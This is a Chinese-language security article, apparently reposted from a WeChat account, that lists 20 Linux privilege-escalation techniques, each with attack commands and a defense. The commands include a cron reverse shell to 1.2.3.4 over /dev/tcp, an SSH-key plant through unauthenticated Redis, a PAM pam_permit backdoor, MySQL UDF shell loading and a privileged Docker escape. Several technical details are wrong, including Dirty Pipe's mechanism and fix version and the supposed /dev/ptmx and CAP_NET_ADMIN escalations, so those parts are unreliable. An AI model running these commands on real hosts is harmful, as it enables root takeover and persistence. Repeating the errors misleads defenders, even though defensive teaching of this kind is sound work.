黑客在Linux系统下提权的20种主要姿势!

admin 2025年5月8日17:11:02评论8 views字数 3886阅读12分57秒阅读模式

Linux 提权攻击是攻防对抗的核心领域,攻击者通过内核漏洞、权限配置错误、服务滥用等多种手段实现权限提升。防御者需建立多层次的安全体系,包括及时更新补丁、强化权限管理、监控异常行为等。本文列举的 20 种提权技术覆盖了从基础到高级的攻击手段,旨在帮助安全从业者全面理解威胁并制定有效防御策略。

一、内核漏洞提权(Kernel Exploits)

1、脏牛漏洞(Dirty Cow, CVE-2016-5195)

原理:利用内存写时复制(COW)机制的竞争条件,实现只读内存页的越权写入。

攻击步骤

上传脏牛检测脚本(如linux-exploit-suggester.sh)检测内核版本。

编译并执行 POC(如dirtycow.c),覆盖/etc/passwd文件添加 root 用户。

防御:及时更新内核至 4.8 + 版本,使用grsecurity等加固工具。

2、Dirty Pipe 漏洞(CVE-2022-0847)

原理:通过pipe缓冲区溢出实现 root 权限提升。

攻击步骤

上传dirtypipe.c并编译。

执行./dirtypipe,将恶意代码写入/etc/shadow

防御:升级内核至 5.8 + 版本,禁用pipe系统调用。

3、Use-After-Free 漏洞(CVE-2024-1086)

原理:内核netfilter组件双重释放漏洞。

攻击步骤

利用nft_verdict_init()函数构造恶意数据包触发漏洞。

执行commit_creds(prepare_kernel_cred(0))获取 root 权限。

防御:更新内核至 6.6 + 版本,关闭netfilter不必要功能。

二、权限配置滥用(Permission Misconfigurations)

4、SUID/SGID 提权

原理:利用setuid/setgid权限的二进制文件执行时获取所有者权限。

攻击步骤

查找 SUID 文件:find / -perm -4000 -type f 2>/dev/null

利用nmap等工具执行命令:nmap --interactive → !sh

防御:删除不必要的 SUID 文件,使用auditd监控权限变更。

5、sudo 权限滥用

案例

CVE-2021-3156:sudo 缓冲区溢出漏洞,无需密码获取 root 权限。

配置错误:用户ALL=(ALL)权限可直接执行sudo -i

防御:使用visudo限制权限,定期审计sudoers文件。

6、计划任务篡改(Cron Jobs)

原理:修改或创建定时任务脚本,以 root 权限执行。

攻击步骤

查看计划任务:crontab -l

添加恶意任务:* * * * * /bin/bash -i >& /dev/tcp/``1.2.3.4/8080`` 0>&1

防御:限制用户对/etc/cron.d的写入权限,使用logrotate管理日志。

三、服务与环境变量攻击(Service & Environment Attacks)

7、NFS 提权(no_root_squash)

原理:NFS 共享目录配置no_root_squash时,客户端 root 用户可直接访问。

攻击步骤

挂载共享目录:mount -t nfs ``10.0.0.1``:/export /mnt

创建 SUID 文件:echo '#!/bin/bash' > /mnt/``shell.sh`` && chmod +s /mnt/``shell.sh

防御:禁用no_root_squash,使用root_squash限制权限。

8、环境变量劫持(PATH/LD_PRELOAD)

案例

PATH 劫持:将恶意程序命名为系统命令(如ls),添加到用户PATH

LD_PRELOAD:通过预加载恶意库文件(如lib.so)劫持函数调用。

防御:避免在PATH中使用.,限制LD_PRELOAD环境变量。

9、Docker 逃逸(Docker Escape)

原理:容器配置不当导致权限提升至宿主机。

攻击步骤

特权模式docker run --privileged -v /:/mnt alpine chroot /mnt sh

内核漏洞:利用脏牛漏洞突破容器隔离。

防御:禁用特权模式,限制容器资源访问。

四、第三方组件漏洞(Third-Party Vulnerabilities)

10、Redis 未授权访问

原理:Redis 配置不当导致未授权访问,写入 SSH 公钥。

攻击步骤

连接 Redis:redis-cli -h ``10.0.0.1

写入公钥:config set dir /root/.ssh && config set dbfilename authorized_keys && set 1 "ssh-rsa ..."

防御:启用认证,绑定本地 IP,禁用config命令。

11、MySQL UDF 提权

原理:通过自定义函数(UDF)执行系统命令。

攻击步骤

上传恶意.so 文件:select unhex('...') into dumpfile '/usr/lib/mysql/plugin/``shell.so``'

创建函数:create function sys_eval returns string soname '``shell.so``'

防御:限制secure_file_priv,禁用 UDF 功能。

12、PostgreSQL 漏洞(CVE-2007-6600)

原理:表达式索引以超级用户权限执行。

攻击步骤

创建恶意函数:CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/``shell.so``' LANGUAGE C;

执行命令:SELECT sys_eval('id > /tmp/out.txt');

防御:升级至 9.0 + 版本,限制函数执行权限。

五、系统配置与服务攻击(System Config & Service Attacks)

13、SELinux 绕过

案例

布尔值配置:修改httpd_can_network_connecton

策略文件篡改:删除/etc/selinux/targeted/policy/policy.31

防御:使用setsebool调整策略,定期审计 SELinux 日志。

14、systemd 服务配置错误

原理:修改服务二进制路径为恶意文件。

攻击步骤

创建恶意服务文件:/etc/systemd/system/malicious.service

启动服务:systemctl enable --now malicious.service

防御:限制/etc/systemd目录权限,使用systemd-analyze检查配置。

15、PAM 配置错误

原理:PAM 模块配置不当导致密码验证绕过。

攻击步骤

修改/etc/pam.d/su文件,添加auth sufficient ``pam_permit.so

执行su - root无需密码。

防御:使用pam_tally2限制登录尝试,定期检查 PAM 配置。

六、其他高级技术(Advanced Techniques)

16、条件竞争漏洞(Race Condition)

案例:CVE-2014-0038(compat_sys_recvmmsg函数堆溢出)。

攻击步骤

构造多线程竞争,触发堆溢出。

执行commit_creds(prepare_kernel_cred(0))

防御:使用锁机制,避免共享资源竞争。

17、/dev/ptmx 提权

原理:通过/dev/ptmx设备文件获取伪终端。

攻击步骤

创建伪终端:open("/dev/ptmx", O_RDWR)

绑定终端:ioctl(fd, TIOCSCTTY, 0)

防御:限制/dev/ptmx权限,使用udev规则管控。

18、X Window 系统权限滥用

原理:通过xhost +允许远程连接。

攻击步骤

执行xhost +

使用xterm连接:xterm -display :0

防御:禁用 X Window 服务,使用Xorg配置文件限制访问。

19、滥用 CAP_NET_ADMIN 权限

原理CAP_NET_ADMIN允许修改网络配置。

攻击步骤

执行ip link add name dummy0 type dummy创建虚拟网卡。

配置路由表:ip route add default via ``10.0.0.1`` dev dummy0

防御:使用setcap移除不必要的权限,限制CAP_NET_ADMIN

20、滥用共享库路径(LD_LIBRARY_PATH)

原理:通过预加载恶意库文件劫持函数调用。

攻击步骤

创建恶意库:echo 'void _init() { system("/bin/sh"); }' > ``libtest.so

执行程序:LD_LIBRARY_PATH=. ./vuln_program

防御:避免在LD_LIBRARY_PATH中使用.,限制用户写入权限。

防御策略总结

内核加固

及时更新内核,使用grsecurityPaX等增强工具。

禁用不必要的模块(如netfilteriptables)。

权限管理

遵循最小权限原则,限制 SUID/SGID 文件。

使用sudo替代直接 root 登录,定期审计sudoers文件。

服务配置

禁用 NFS 的no_root_squash,限制 Docker 容器权限。

启用 Redis 认证,限制 MySQL 的 UDF 功能。

环境变量

避免在PATH中使用.,限制LD_PRELOAD

日志监控

使用auditd监控文件权限变更,配置 SELinux 日志审计。

第三方组件

定期更新 Redis、MySQL 等服务,禁用危险功能(如configUDF)。

原文始发于微信公众号(乌雲安全):黑客在Linux系统下提权的20种主要姿势!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月8日17:11:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客在Linux系统下提权的20种主要姿势!https://cn-sec.com/archives/4041537.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息